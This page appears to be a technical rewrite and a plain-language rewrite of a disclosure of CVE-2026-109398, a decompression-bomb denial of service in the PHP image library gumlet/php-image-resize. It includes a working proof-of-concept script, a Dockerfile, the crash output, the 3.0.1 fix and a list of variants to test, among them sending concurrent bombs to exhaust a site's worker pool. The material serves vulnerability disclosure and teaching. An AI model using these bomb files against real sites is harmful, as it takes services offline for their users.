How a 56KB PNG Brought Down a Library with Millions of Downloads (CVE-2026–109398)
The gumlet/php-image-resize library did not check image dimensions before decompressing uploaded images, so a tiny PNG could expand into a huge pixel buffer and exhaust PHP's memory limit. An attacker could upload a few such files to crash worker processes and take a site offline.
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
gumlet/php-image-resize is a widely adopted PHP package in the Composer ecosystem, with millions of downloads. It is an object-oriented wrapper around PHP's native GD extension: it takes an image file, loads it, and exposes methods to resize, crop and save it. There is no shell execution, no raw SQL and no deserialisation in the library, which is why it looks like it has almost no attack surface.
The researcher found the issue while auditing applications that handle media uploads and following their dependencies. The result is CVE-2026-109398, a denial of service caused by an image decompression bomb (also called a pixel flood).

The idea is simple. A PNG file of 56 KB sits on disk or arrives over the network. When the server opens it, GD decompresses it into a 4,000 x 4,000 pixel canvas, 16 million pixels. Because the library never checked the image dimensions before unpacking, PHP runs out of memory under the standard memory_limit = 128M and the worker process dies. A handful of such files sent at the same time can take a whole site offline with almost no bandwidth.
Setup
The researcher tested against a clean Docker container matching a standard PHP 8.3 CLI environment, with the library checked out at version 3.0.0. The proof of concept is a standalone PHP script, so no framework overhead interferes with the result.
Finding it
Image formats such as PNG rely on DEFLATE/zlib compression. An image made of flat, repetitive pixel values, for example a canvas filled entirely with solid white, compresses to a fraction of a percent of its uncompressed size. Before a library can resize, crop or process an image, GD must decompress that stream into an uncompressed pixel buffer in memory.
For a 4,000 x 4,000 image the numbers are:
| Quantity | Value |
|---|---|
| Total pixels | 4,000 x 4,000 = 16,000,000 |
| Allocation requested on failed decode (PHP 8.3 CLI) | 48,000,000 bytes (4,000 x 4,000 x 3, about 45.78 MiB) |
| File size on disk at PNG compression level 9 | 56,390 bytes (about 56 KB) |
Under a production memory_limit = 128M, decoding this file pushes total heap usage past the limit and the process aborts.
Reading lib/ImageResize.php in versions before 3.0.1 shows why. The constructor handles ingestion inline (lib/ImageResize.php:98-167):
public function __construct(string $filename){ if ($filename === '' || (substr($filename, 0, 5) !== 'data:' && !is_file($filename))) { throw new ImageResizeException('File does not exist'); }
if (!$image_info = getimagesize($filename, $this->source_info)) { $image_info = getimagesize($filename); } // ... format validation ... $this->original_w = $image_info[0]; $this->original_h = $image_info[1]; $this->source_type = $image_info[2]; switch ($this->source_type) { case IMAGETYPE_GIF: $this->source_image = imagecreatefromgif($filename); break; case IMAGETYPE_JPEG: $jpeg = $this->imageCreateJpegfromExif($filename); if ($jpeg === false) { throw new ImageResizeException('Could not load image'); } $this->source_image = $jpeg; $this->original_w = imagesx($this->source_image); $this->original_h = imagesy($this->source_image); break; case IMAGETYPE_PNG: // Vulnerable: Immediately triggers eager decompression of 16M pixels $this->source_image = imagecreatefrompng($filename); break; // ... other formats (WEBP, AVIF, BMP) ... }}
Three things stand out:
getimagesize()reads the PNG header chunk and fills$image_info[0]and$image_info[1]without decompressing the payload, but the constructor never checks whether those dimensions are safe to decode.- The filename goes straight to
imagecreatefrompng(), which makes GD's underlying C libraries allocate the uncompressed pixel buffer. - The library's documentation tells developers to catch
ImageResizeException, for example:
try { $image = new ImageResize('user_input.png'); $image->resizeToWidth(200); } catch (ImageResizeException $e) { // Graceful failure }
Exhausting memory_limit does not throw that exception. It produces an uncatchable PHP fatal error (Allowed memory size exhausted) and the worker exits with code 255.
Exploitation
Step 1: build the test environment
The Dockerfile installs GD with JPEG support, exif and fileinfo, then copies the library at tag 3.0.0 into the image:
FROM php:8.3-cli
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libwebp-dev git \ && docker-php-ext-configure gd --with-jpeg \ && docker-php-ext-install -j$(nproc) gd exif fileinfoWORKDIR /appRUN git clone --depth 1 --branch 3.0.0 https://github.com/gumlet/php-image-resize.git /tmp/upstream \ && cp -r /tmp/upstream/lib /app/libCOPY poc.php /app/
Step 2: generate the bomb and load it
The script creates a solid white 4,000 x 4,000 TrueColor PNG at compression level 9, sets the memory limit to the production value, and instantiates the library on the file:
<?phprequire '/app/lib/ImageResizeException.php';require '/app/lib/ImageResize.php';use Gumlet\ImageResize;
$bomb = '/tmp/bomb.png';// 1. Generate a 4000x4000 solid white TrueColor PNG$im = imagecreatetruecolor(4000, 4000);$white = imagecolorallocate($im, 255, 255, 255);imagefilledrectangle($im, 0, 0, 4000, 4000, $white);imagepng($im, $bomb, 9); // Compression level 9 produces 56,390 bytesimagedestroy($im);echo "Payload generated: " . filesize($bomb) . " bytes\n";// 2. Set memory limit to standard production value (128M)ini_set('memory_limit', '128M');// 3. Trigger library loadecho "Attempting to instantiate ImageResize...\n";new ImageResize($bomb);
The generation step is what makes the file small: a uniform white canvas compresses to 56,390 bytes. The ini_set reproduces a typical production ceiling, and the final line is the only interaction with the library, a plain constructor call on the file path.
Step 3: run it
docker build -t php-resize-poc .docker run --rm php-resize-poc php /app/poc.php
The actual output was:
Payload generated: 56390 bytesAttempting to instantiate ImageResize...Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 48000000 bytes) in /app/lib/ImageResize.php on line 141
The process crashed immediately with exit status 255. The failed allocation of 48,000,000 bytes is the uncompressed pixel buffer for the 16 million pixels, and it is requested before any resize or crop logic runs.
Root cause
The constructor reads the dimensions from the header but never compares them against any limit before calling imagecreatefrompng(). The decode is eager: the moment the file is opened, GD allocates the full uncompressed buffer. The library's own error contract does not help, because a memory exhaustion is a fatal error rather than an ImageResizeException, so the try/catch pattern the documentation recommends cannot contain it.
The published GitHub Advisory (GHSA-3g9v-hjrx-mg5h) and the CVE record divide the scope differently, which is worth understanding:
- The initial advisory bundled the source image decompression bomb together with several unhandled errors in destination methods, such as
crop(0,0)throwing aDivisionByZeroError,resize(0,0)throwing aValueError, orfreecrop(100000,100000)attempting massive 37GB allocations. The GHSA therefore carries several classifications: CWE-20, CWE-400 and CWE-789. - VulnCheck, as CNA, scoped CVE-2026-109398 specifically to the decompression bomb on input, CWE-409.
- Version 3.0.1 fixes the source decompression bomb. The destination methods (
resize,crop,freecropandsave) are byte-for-byte unchanged and still exhibit those unhandled error and allocation behaviours when the calling application feeds them invalid arguments. They remain outside this CVE.
Impact
In a typical upload handler:
if ($_FILES['photo']['error'] === UPLOAD_ERR_OK) { $resizer = new \Gumlet\ImageResize($_FILES['photo']['tmp_name']); $resizer->resizeToWidth(150); $resizer->save('/var/www/uploads/thumb.jpg');}
Under standard PHP-FPM deployments with dynamic process management (the report gives pm.max_children = 20 to 50 as an example):
- Each upload of the 56 KB payload causes an uncatchable out-of-memory fatal error in the PHP-FPM child that handles it.
- The reverse proxy (Nginx or Apache) returns HTTP 502 Bad Gateway or HTTP 500 Internal Server Error.
- A small burst of concurrent 56 KB uploads starves the worker pool faster than processes can be recycled, producing a complete denial of service across the application at minimal bandwidth cost.
The severity recorded for the CVE is CVSS v4.0 8.7 (High), CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N, and CVSS v3.1 7.5 (High), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
Fix
Version 3.0.1 adds a configurable source pixel ceiling (lib/ImageResize.php:41):
public int $max_source_pixels = 15_000_000;
Inside the constructor (lib/ImageResize.php:131-141), the dimensions from getimagesize() are validated before any GD decompression function is reached:
if ($this->max_source_pixels > 0 && ($image_info[0] * $image_info[1]) > $this->max_source_pixels) { throw new ImageResizeException( sprintf( 'Source image is too large (%dx%d = %d pixels). Maximum allowed: %d pixels.', $image_info[0], $image_info[1], $image_info[0] * $image_info[1], $this->max_source_pixels ) );}
A file above 15 megapixels now produces a catchable ImageResizeException before memory is allocated, so the calling application can reject it without losing a worker. At the time of publication the GitHub Advisory still displayed "Patched versions: None" and "No known CVE", although the fix was released upstream in 3.0.1 and tracked as CVE-2026-109398.
- Other decoders in the same library. The constructor has branches for GIF, JPEG, WEBP, AVIF and BMP. A positive result is a small file in one of those formats whose header dimensions are large enough that the decode step exhausts
memory_limitbefore any resize happens. - Other PHP image wrappers. Any package that calls
imagecreatefrom*on user input without checkinggetimagesize()output first. A positive result is a fatalAllowed memory sizeerror from a file of a few tens of kilobytes. - Destination methods with invalid arguments. The report notes
crop(0,0),resize(0,0)andfreecrop(100000,100000)still misbehave in 3.0.1. A positive result is an uncaughtDivisionByZeroError, aValueError, or an attempt at a very large allocation, reachable whenever the application passes user-controlled dimensions. - Upload handlers that trust the extension. Test whether a file named
.pngbut containing a highly compressed large-dimension image reaches the constructor. A positive result is a 502 or 500 from the proxy after a single upload, with the worker dying rather than returning a validation error. - Worker pool sizing. On a staging deployment with the same
pm.max_childrenrange, send a small number of concurrent bombs. A positive result is that the pool is exhausted before processes recycle, which confirms the denial of service is practical and not just a single-request crash.
What happened, in plain words
A small piece of software that many websites use to handle pictures had a flaw. The software is called gumlet/php-image-resize. It is a PHP package, which means it is a bundle of code that other programmers download and plug into their own websites instead of writing the picture-handling code themselves. The report says it has millions of downloads.
The flaw works like this. A picture file can be tiny on disk, just 56 KB, but describe a very large picture, 4,000 pixels wide by 4,000 pixels tall. When the software opens that file, the computer has to build the full picture in its working memory, and that takes far more room than the small file suggests. The software never checked the picture's size before building it, so the memory ran out and the program crashed. Send a few of these files at once and a whole website can fall over. The researcher who found it is credited as ikram-4, and the flaw is tracked as CVE-2026-109398.

This article walks through the same material as the technical write-up, but assumes you have never done security work. Every term is explained the first time it appears.
The idea in everyday terms
The report opens with a comparison worth keeping in mind. Imagine an envelope that weighs almost nothing. The moment you open it, a huge inflatable raft unfolds inside your living room and crushes the furniture. The envelope was small; what came out of it was enormous.
That is an image decompression bomb, also called a pixel flood. The file is small, but the picture it describes is huge, and the computer only finds out how huge when it starts unpacking.
Three numbers tell the story:
- On disk or over the network: the file is 56 KB, smaller than many email attachments.
- In the server's memory: once opened, it becomes a 4,000 x 4,000 pixel canvas, which is 16 million pixels.
- The crash: holding 16 million uncompressed pixels needs a lot of memory. The library never checked the dimensions first, so PHP hit its memory ceiling (
memory_limit = 128M) and the process died.
A handful of these files sent at the same time can crash every worker a site has, taking it offline while using almost no internet bandwidth.
The summary box, unpacked
The report lists the key facts about the flaw. Here is what each line means.
- Vulnerability: a denial of service caused by a decompression bomb. A denial of service (often shortened to DoS) is when an attacker does not steal anything but makes a service unavailable to its normal users.
- CVE ID: CVE-2026-109398. A CVE is a public catalogue entry for a known security flaw. Each one gets a unique number so people around the world can refer to the same issue. The report links to the official record.
- Credit: ikram-4, the person who found it.
- Classifications: these are labels from a system called CWE, a catalogue of weakness types. The CVE record uses CWE-409, "Improper Handling of Highly Compressed Data". The GitHub Advisory uses CWE-20, CWE-400 and CWE-789. A GitHub Advisory is a public security notice published on GitHub, where much open-source code lives.
- Severity: two scores. CVSS is a standard scoring system for how serious a flaw is. Version 4.0 gives 8.7 (High) and version 3.1 gives 7.5 (High). The long strings starting
CVSS:are the machine-readable breakdown of those scores. - Affected package:
gumlet/php-image-resize, versions below 3.0.1. - Patched in: version 3.0.1, which adds a check on the source image's dimensions.
- References: the GitHub Advisory (GHSA-3g9v-hjrx-mg5h) and the CVE record.
Why a helper library looked harmless
The researcher explains that for one to two years they had focused on enterprise platforms, customer management platforms and permission systems, and had disclosed over 30 CVEs. While reviewing websites that accept media uploads, they followed the list of outside code those sites depend on and arrived at gumlet/php-image-resize.
At first glance such a library looks like it has nothing to attack. There is no shell execution (functions like exec or system, which run operating-system commands), no raw SQL queries (direct database commands), and no unsafe deserialisation (a way of turning stored data back into objects that is a classic source of bugs). It is an object-oriented wrapper around PHP's native GD extension. In plain words: GD is a built-in part of PHP that knows how to read and write image files, and this library is a friendly layer on top of it, offering methods to resize, crop and save pictures.
The lesson the researcher draws is that security often breaks at the level of memory and resources rather than at the level of visible code. The flaw was an unhandled decompression bomb that exhausts memory and kills PHP worker processes.
How the trick works: compression and decompression
Compression means storing data in fewer bytes by describing patterns instead of repeating them. Decompression is turning that back into the full data.
PNG images use a compression method called DEFLATE, built on a library called zlib. If a picture is made of flat, repeated colours, for example a canvas that is entirely solid white, the compressor can describe it in a tiny fraction of the space the full picture would take.
But before a library can resize, crop or process a picture, GD must decompress it into an uncompressed pixel buffer in memory. A buffer is just a reserved block of memory. Every pixel needs a few bytes, and 16 million pixels add up quickly.
For a 4,000 x 4,000 image the report gives these figures:
| Quantity | Value |
|---|---|
| Total pixels | 4,000 x 4,000 = 16,000,000 |
| Allocation requested on failed decode (PHP 8.3 CLI) | 48,000,000 bytes (4,000 x 4,000 x 3, about 45.78 MiB) |
| File size on disk at PNG compression level 9 | 56,390 bytes (about 56 KB) |
A few terms in that table: PHP 8.3 CLI means running PHP from a command line rather than through a web server. MiB is a unit of memory, slightly larger than a megabyte. Compression level 9 is the strongest setting PNG offers, which makes the file as small as possible.
Under a production memory_limit = 128M, which means PHP is allowed 128 megabytes of memory, decoding this file pushes total usage past the limit and the process aborts.
Reading the code: where the check was missing
The researcher looked at lib/ImageResize.php in versions before 3.0.1. The constructor, the piece of code that runs when a new object is created, handled loading the image inline (lib/ImageResize.php:98-167):
public function __construct(string $filename){ if ($filename === '' || (substr($filename, 0, 5) !== 'data:' && !is_file($filename))) { throw new ImageResizeException('File does not exist'); }
Line by line:
public function __construct(string $filename)declares the constructor. It takes one input,$filename, which is the path to the image file. Thestringpart says the input must be text.- The
ifline checks two things. First, whether the filename is empty. Second, whether it does not start withdata:and is not an existing file on disk.substr($filename, 0, 5)takes the first five characters of the name, andis_file()asks the operating system whether that file exists. - If either check fails, the code throws an
ImageResizeExceptionwith the messageFile does not exist. An exception is a way for code to signal that something went wrong; other code can catch it and handle it gracefully.
The second part of the constructor:
if (!$image_info = getimagesize($filename, $this->source_info)) { $image_info = getimagesize($filename); } // ... format validation ... $this->original_w = $image_info[0]; $this->original_h = $image_info[1]; $this->source_type = $image_info[2]; switch ($this->source_type) { case IMAGETYPE_GIF: $this->source_image = imagecreatefromgif($filename); break; case IMAGETYPE_JPEG: $jpeg = $this->imageCreateJpegfromExif($filename); if ($jpeg === false) { throw new ImageResizeException('Could not load image'); } $this->source_image = $jpeg; $this->original_w = imagesx($this->source_image); $this->original_h = imagesy($this->source_image); break; case IMAGETYPE_PNG: // Vulnerable: Immediately triggers eager decompression of 16M pixels $this->source_image = imagecreatefrompng($filename); break; // ... other formats (WEBP, AVIF, BMP) ... }}
Line by line:
getimagesize($filename, $this->source_info)reads the image's header, a small block at the start of the file that records the width, height and format, without decompressing the whole picture. It returns an array of information, and the code stores it in$image_info. If it fails, it tries once more.$this->original_w = $image_info[0];and$this->original_h = $image_info[1];copy the width and height out of that array into the object's own properties.$image_info[2]is the image type, stored in$this->source_type.switch ($this->source_type)picks a branch depending on the format.- For GIF, it calls
imagecreatefromgif($filename). - For JPEG, it calls a helper
imageCreateJpegfromExif($filename), checks whether the result isfalse(failure), throws an exception if so, and then reads the real width and height withimagesx()andimagesy(). - For PNG, it calls
imagecreatefrompng($filename). The comment in the code marks this as the vulnerable line: it immediately triggers decompression of 16 million pixels. - The
// ... other formats (WEBP, AVIF, BMP) ...comment shows that more formats are handled in the same way.
Three things stand out to the researcher:
getimagesize()reads the header and fills in the width and height without decompressing the picture, but the constructor never checks whether those dimensions are safe to decode.- The filename goes straight to
imagecreatefrompng(), which makes GD's underlying C libraries allocate the uncompressed pixel buffer. C libraries are lower-level code that PHP itself is built on; the memory is allocated there, not in the PHP code you can see. - The library's documentation tells developers to catch
ImageResizeException, for example:
try { $image = new ImageResize('user_input.png'); $image->resizeToWidth(200); } catch (ImageResizeException $e) { // Graceful failure }
That snippet means: try to create an ImageResize object from a file and resize it to 200 pixels wide; if an ImageResizeException is thrown, handle it gracefully. But running out of memory does not throw that exception. It produces an uncatchable PHP fatal error, Allowed memory size exhausted, and the worker exits with code 255. A fatal error is an error so serious that the program stops immediately; there is no chance to catch it. Exit code 255 is the number the process reports to the operating system when it dies this way.
Building a test: the Docker environment
To prove the flaw without interference from a full website framework, the researcher used a standalone PHP script inside a clean Docker container. Docker is a tool that packages an operating system and its software into an isolated box, so the test runs in a known, repeatable environment. The container matched a standard PHP 8.3 CLI setup. FPM is the part of PHP that web servers talk to when handling requests.
The Dockerfile installs GD with JPEG support, exif and fileinfo, then copies the library at tag 3.0.0 into the image:
FROM php:8.3-cli
FROM php:8.3-clisays: start from an existing image that already has PHP 8.3 set up for command-line use.
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libwebp-dev git \ && docker-php-ext-configure gd --with-jpeg \ && docker-php-ext-install -j$(nproc) gd exif fileinfoWORKDIR /appRUN git clone --depth 1 --branch 3.0.0 https://github.com/gumlet/php-image-resize.git /tmp/upstream \ && cp -r /tmp/upstream/lib /app/libCOPY poc.php /app/
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libwebp-dev gitrefreshes the package list and installs development libraries for PNG, JPEG and WebP images, plus thegittool for downloading code.docker-php-ext-configure gd --with-jpegprepares the GD extension with JPEG support.docker-php-ext-install -j$(nproc) gd exif fileinfobuilds and installs three PHP extensions: GD for images, exif for reading camera metadata, and fileinfo for identifying file types.-j$(nproc)means use all available processor cores to speed up the build.WORKDIR /appsets the working directory inside the container.git clone --depth 1 --branch 3.0.0 https://github.com/gumlet/php-image-resize.git /tmp/upstreamdownloads the library at version 3.0.0, the version before the fix.--depth 1fetches only the latest commit to keep it small.cp -r /tmp/upstream/lib /app/libcopies the library's code into the working directory.COPY poc.php /app/copies the proof-of-concept script into the container.
The proof-of-concept script
The script creates a solid white 4,000 x 4,000 TrueColor PNG at compression level 9, sets the memory limit to the production value, and instantiates the library on the file:
<?phprequire '/app/lib/ImageResizeException.php';require '/app/lib/ImageResize.php';use Gumlet\ImageResize;
<?phpopens a PHP file.require '/app/lib/ImageResizeException.php';loads the file that defines the exception class.require '/app/lib/ImageResize.php';loads the library itself.use Gumlet\ImageResize;gives the class a short name so the rest of the script can refer to it simply asImageResize.
$bomb = '/tmp/bomb.png';// 1. Generate a 4000x4000 solid white TrueColor PNG$im = imagecreatetruecolor(4000, 4000);$white = imagecolorallocate($im, 255, 255, 255);imagefilledrectangle($im, 0, 0, 4000, 4000, $white);imagepng($im, $bomb, 9); // Compression level 9 produces 56,390 bytesimagedestroy($im);echo "Payload generated: " . filesize($bomb) . " bytes\n";// 2. Set memory limit to standard production value (128M)ini_set('memory_limit', '128M');// 3. Trigger library loadecho "Attempting to instantiate ImageResize...\n";new ImageResize($bomb);
Line by line:
$bomb = '/tmp/bomb.png';chooses where to save the file.$im = imagecreatetruecolor(4000, 4000);creates a blank image in memory, 4,000 by 4,000 pixels. TrueColor means each pixel stores full colour information.$white = imagecolorallocate($im, 255, 255, 255);defines white using the red, green and blue values 255, 255, 255.imagefilledrectangle($im, 0, 0, 4000, 4000, $white);fills the whole canvas with that white.imagepng($im, $bomb, 9);saves it as a PNG with compression level 9. The comment notes this produces 56,390 bytes.imagedestroy($im);frees the in-memory image.echo "Payload generated: " . filesize($bomb) . " bytes\n";prints the file size so the test can confirm it.ini_set('memory_limit', '128M');sets PHP's memory ceiling to 128 megabytes, matching a typical production server.echo "Attempting to instantiate ImageResize...\n";prints a message before the critical step.new ImageResize($bomb);creates the library object on the bomb file. This is the only interaction with the library, a plain constructor call on the file path.
The generation step is what makes the file small: a uniform white canvas compresses to 56,390 bytes. The ini_set reproduces a typical production ceiling, and the final line triggers the flaw.
Running it
docker build -t php-resize-poc .docker run --rm php-resize-poc php /app/poc.php
docker build -t php-resize-poc .builds the container image from the Dockerfile in the current directory and tags it with the namephp-resize-poc.docker run --rm php-resize-poc php /app/poc.phpstarts a container from that image, runs the script, and removes the container afterwards because of--rm.
The actual output was:
Payload generated: 56390 bytesAttempting to instantiate ImageResize...Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 48000000 bytes) in /app/lib/ImageResize.php on line 141
Payload generated: 56390 bytesconfirms the bomb file is 56,390 bytes.Attempting to instantiate ImageResize...shows the script reached the critical step.Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 48000000 bytes) in /app/lib/ImageResize.php on line 141is the crash. 134,217,728 bytes is the 128 MB limit. The code tried to allocate 48,000,000 bytes for the uncompressed pixel buffer and could not.
The process crashed immediately with exit status 255. The failed allocation is the uncompressed pixel buffer for the 16 million pixels, requested before any resize or crop logic runs.
The root cause
The constructor reads the dimensions from the header but never compares them against any limit before calling imagecreatefrompng(). The decode is eager: the moment the file is opened, GD allocates the full uncompressed buffer. The library's own error handling does not help, because memory exhaustion is a fatal error rather than an ImageResizeException, so the try/catch pattern the documentation recommends cannot contain it.
The published GitHub Advisory and the CVE record divide the scope differently, which is worth understanding:
- The initial advisory bundled the source image decompression bomb together with several unhandled errors in destination methods, such as
crop(0,0)throwing aDivisionByZeroError,resize(0,0)throwing aValueError, orfreecrop(100000,100000)attempting massive 37GB allocations. The GHSA therefore carries several classifications: CWE-20, CWE-400 and CWE-789. - VulnCheck, acting as CNA, scoped CVE-2026-109398 specifically to the decompression bomb on input, CWE-409. A CNA is an organisation authorised to assign CVE numbers.
- Version 3.0.1 fixes the source decompression bomb. The destination methods (
resize,crop,freecropandsave) are byte-for-byte unchanged and still exhibit those unhandled error and allocation behaviours when the calling application feeds them invalid arguments. They remain outside this CVE.
What it means for a real website
A typical upload handler looks like this:
if ($_FILES['photo']['error'] === UPLOAD_ERR_OK) { $resizer = new \Gumlet\ImageResize($_FILES['photo']['tmp_name']); $resizer->resizeToWidth(150); $resizer->save('/var/www/uploads/thumb.jpg');}
Line by line:
if ($_FILES['photo']['error'] === UPLOAD_ERR_OK) {checks whether the uploaded file arrived without error.$_FILESis PHP's built-in array of uploaded files, andUPLOAD_ERR_OKmeans success.$resizer = new \Gumlet\ImageResize($_FILES['photo']['tmp_name']);creates the library object on the uploaded file's temporary location. This is the vulnerable call.$resizer->resizeToWidth(150);resizes the image to 150 pixels wide.$resizer->save('/var/www/uploads/thumb.jpg');saves the result as a thumbnail.
Under standard PHP-FPM deployments with dynamic process management (the report gives pm.max_children = 20 to 50 as an example):
- Each upload of the 56 KB payload causes an uncatchable out-of-memory fatal error in the PHP-FPM child that handles it. A worker or child process is one of several copies of the program that a web server keeps running to handle requests in parallel.
pm.max_childrenis the setting that says how many may run at once. - The reverse proxy (Nginx or Apache) returns HTTP 502 Bad Gateway or HTTP 500 Internal Server Error. A reverse proxy is the front door that receives visitors' requests and passes them to the application. HTTP 502 and 500 are standard error responses meaning the front door could not get a good answer from the application.
- A small burst of concurrent 56 KB uploads starves the worker pool faster than processes can be recycled, producing a complete denial of service across the application at minimal bandwidth cost.
The severity recorded for the CVE is CVSS v4.0 8.7 (High), CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N, and CVSS v3.1 7.5 (High), CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
The fix in version 3.0.1
Version 3.0.1 adds a configurable source pixel ceiling (lib/ImageResize.php:41):
public int $max_source_pixels = 15_000_000;
public int $max_source_pixels = 15_000_000;declares a property that holds a whole number, set to 15 million. It is the maximum number of pixels the library will accept from a source image.
Inside the constructor (lib/ImageResize.php:131-141), the dimensions from getimagesize() are validated before any GD decompression function is reached:
if ($this->max_source_pixels > 0 && ($image_info[0] * $image_info[1]) > $this->max_source_pixels) { throw new ImageResizeException( sprintf( 'Source image is too large (%dx%d = %d pixels). Maximum allowed: %d pixels.', $image_info[0], $image_info[1], $image_info[0] * $image_info[1], $this->max_source_pixels ) );}
Line by line:
if ($this->max_source_pixels > 0 && ($image_info[0] * $image_info[1]) > $this->max_source_pixels) {checks two things: that the limit is switched on (greater than zero), and that width times height is greater than the limit.throw new ImageResizeException(raises a catchable exception.sprintf(builds a formatted message.'Source image is too large (%dx%d = %d pixels). Maximum allowed: %d pixels.',is the message template, with placeholders for the width, height, total pixels and limit.$image_info[0], $image_info[1], $image_info[0] * $image_info[1], $this->max_source_pixelsfill in those placeholders.
A file above 15 megapixels now produces a catchable ImageResizeException before memory is allocated, so the calling application can reject it without losing a worker. At the time of publication the GitHub Advisory still displayed "Patched versions: None" and "No known CVE", although the fix was released upstream in 3.0.1 and tracked as CVE-2026-109398.
Variants to test
- Other decoders in the same library. The constructor has branches for GIF, JPEG, WEBP, AVIF and BMP. A positive result is a small file in one of those formats whose header dimensions are large enough that the decode step exhausts
memory_limitbefore any resize happens. - Other PHP image wrappers. Any package that calls
imagecreatefrom*on user input without checkinggetimagesize()output first. A positive result is a fatalAllowed memory sizeerror from a file of a few tens of kilobytes. - Destination methods with invalid arguments. The report notes
crop(0,0),resize(0,0)andfreecrop(100000,100000)still misbehave in 3.0.1. A positive result is an uncaughtDivisionByZeroError, aValueError, or an attempt at a very large allocation, reachable whenever the application passes user-controlled dimensions. - Upload handlers that trust the extension. Test whether a file named
.pngbut containing a highly compressed large-dimension image reaches the constructor. A positive result is a 502 or 500 from the proxy after a single upload, with the worker dying rather than returning a validation error. - Worker pool sizing. On a staging deployment with the same
pm.max_childrenrange, send a small number of concurrent bombs. A positive result is that the pool is exhausted before processes recycle, which confirms the denial of service is practical and not just a single-request crash.
Glossary
- API: a defined way for one piece of software to talk to another; here, the methods the library offers to resize, crop and save images.
- Buffer: a reserved block of memory used to hold data while it is being worked on.
- C library: low-level code written in the C language that higher-level languages such as PHP are built on.
- CNA: an organisation authorised to assign CVE numbers.
- Composer: the standard tool for downloading and managing PHP packages.
- Compression: storing data in fewer bytes by describing patterns instead of repeating them.
- Constructor: the piece of code that runs when a new object is created.
- CVE: a public catalogue entry with a unique number for a known security flaw.
- CVSS: a standard scoring system for how serious a security flaw is.
- CWE: a catalogue of weakness types, used to classify flaws.
- Decompression: turning compressed data back into its full form.
- DEFLATE: a compression method used by PNG, built on zlib.
- Denial of service (DoS): making a service unavailable to its normal users.
- Docker: a tool that packages software into isolated, repeatable containers.
- Eager decode: unpacking an image immediately when it is opened, rather than waiting until it is needed.
- Exception: a way for code to signal that something went wrong, which other code can catch and handle.
- Exit code: the number a process reports to the operating system when it ends; 255 here means it died from a fatal error.
- Fatal error: an error so serious that the program stops immediately and cannot recover.
- FPM: the part of PHP that web servers talk to when handling requests.
- GD: PHP's built-in extension for reading and writing images.
- GitHub Advisory: a public security notice published on GitHub.
- Header: a small block at the start of an image file that records its width, height and format.
- Heap: the area of memory a program uses for data it creates while running.
- Image decompression bomb (pixel flood): a small image file that expands into a very large picture in memory.
- Memory limit: the maximum amount of memory PHP is allowed to use.
- Metadata: data about data, such as an image's width, height and colour channels.
- MiB: a unit of memory, slightly larger than a megabyte.
- Object-oriented: a style of programming that groups code and data into objects.
- PHP: a programming language widely used for websites.
- Pixel: one dot of colour in an image.
- Pixel buffer: the block of memory holding all of an image's pixels in uncompressed form.
- PNG: a common image file format that uses lossless compression.
- Proof of concept (PoC): a small script or set of steps that demonstrates a flaw.
- Reverse proxy: the front door that receives visitors' requests and passes them to the application.
- Severity: how serious a flaw is, often expressed as a CVSS score.
- TrueColor: an image format where each pixel stores full colour information.
- Uncompressed: data in its full, raw form, taking the most space.
- Worker (child process): one of several copies of a program kept running to handle requests in parallel.
- zlib: the library that implements DEFLATE compression.